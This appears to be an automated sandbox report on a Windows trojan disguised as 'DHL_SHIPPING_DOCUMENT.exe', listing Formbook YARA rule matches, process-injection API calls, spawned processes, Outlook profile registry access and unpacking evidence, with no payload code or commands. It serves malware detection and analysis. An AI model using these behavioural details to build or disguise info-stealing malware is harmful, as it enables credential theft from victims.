          Source: Yara matchFile source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Initial sample is a PE file and has a suspicious name
          Source: initial sampleStatic PE information: Filename: DHL_SHIPPING_DOCUMENT.exe
          Source: DHL_SHIPPING_DOCUMENT.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 3.2.eixfhzlwqd.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 3.2.eixfhzlwqd.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00406D5F
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_00410371
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00403873
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00421964
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00401B50
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_004055CA
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_004055D3
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00420583
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0042163A
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0042163D
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040BF6F
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040BF73
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00421F29
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_004017C0
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_004057F3
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_004017B1
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF20A8
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3B090
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1002
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2F900
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF22AE
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5EBB0
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEDBD2
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF2B28
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3841F
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52581
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3D5E0
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A20D20
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF2D07
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF1D55
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF2EF7
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A46E30
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF1FF1
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: String function: 004019C0 appears 42 times
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: String function: 00A2B150 appears 35 times
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E4A3 NtCreateFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E553 NtReadFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E5D3 NtClose,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E683 NtAllocateVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E4F5 NtReadFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E49E NtCreateFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E5CD NtClose,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E5FF NtClose,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E59D NtClose,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041E67D NtAllocateVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A698F0 NtReadVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69860 NtQuerySystemInformation,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69840 NtDelayExecution,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A699A0 NtCreateSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69910 NtAdjustPrivilegesToken,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69A20 NtResumeThread,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69A00 NtProtectVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69A50 NtCreateFile,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A695D0 NtClose,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69540 NtReadFile,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A696E0 NtFreeVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69660 NtAllocateVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A697A0 NtUnmapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69780 NtMapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69FE0 NtCreateMutant,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69710 NtQueryInformationToken,LdrInitializeThunk,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A698A0 NtWriteVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69820 NtEnumerateKey,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6B040 NtSuspendThread,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A699D0 NtCreateProcessEx,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69950 NtQueueApcThread,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69A80 NtOpenDirectoryObject,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69A10 NtQuerySection,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6A3B0 NtGetContextThread,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69B00 NtSetValueKey,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A695F0 NtQueryInformationFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69520 NtWaitForSingleObject,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6AD30 NtSetContextThread,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69560 NtWriteFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A696D0 NtCreateKey,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69610 NtEnumerateValueKey,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69670 NtQueryInformationProcess,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69650 NtQueryValueKey,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69730 NtQueryVirtualMemory,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6A710 NtOpenProcessToken,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69760 NtOpenProcess,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A69770 NtSetInformationFile,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6A770 NtOpenThread,
          Source: DHL_SHIPPING_DOCUMENT.exeReversingLabs: Detection: 25%
          Source: DHL_SHIPPING_DOCUMENT.exeVirustotal: Detection: 39%
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeFile read: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeJump to behavior
          Source: DHL_SHIPPING_DOCUMENT.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: unknownProcess created: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeProcess created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe "C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe" C:\Users\user\AppData\Local\Temp\lfcykkdw.xwy
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeProcess created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe "C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe" C:\Users\user\AppData\Local\Temp\lfcykkdw.xwy
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeFile created: C:\Users\user\AppData\Local\Temp\nsu5B22.tmpJump to behavior
          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@12/5@9/8
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_004021AA CoCreateInstance,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2168:120:WilError_01
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCommand line argument: A
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\SysWOW64\help.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
          Source: DHL_SHIPPING_DOCUMENT.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: wntdll.pdbUGP source: eixfhzlwqd.exe, 00000001.00000003.319488467.000000001A150000.00000004.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000001.00000003.314926280.0000000019FC0000.00000004.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000B1F000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.320016666.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.321428954.000000000086B000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002E50000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000005.00000003.357421969.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002F6F000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: eixfhzlwqd.exe, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000B1F000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000002.357525357.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.320016666.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, eixfhzlwqd.exe, 00000003.00000003.321428954.000000000086B000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002E50000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000005.00000003.357421969.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000005.00000002.581390934.0000000002F6F000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: help.pdbGCTL source: eixfhzlwqd.exe, 00000003.00000002.357434868.00000000005E0000.00000040.10000000.00040000.00000000.sdmp
          Source: Binary string: help.pdb source: eixfhzlwqd.exe, 00000003.00000002.357434868.00000000005E0000.00000040.10000000.00040000.00000000.sdmp

          Data Obfuscation

          barindex
          Detected unpacking (changes PE section rights)
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeUnpacked PE file: 3.2.eixfhzlwqd.exe.400000.0.unpack .text:ER;.rdata:R;.data:W; vs .text:ER;
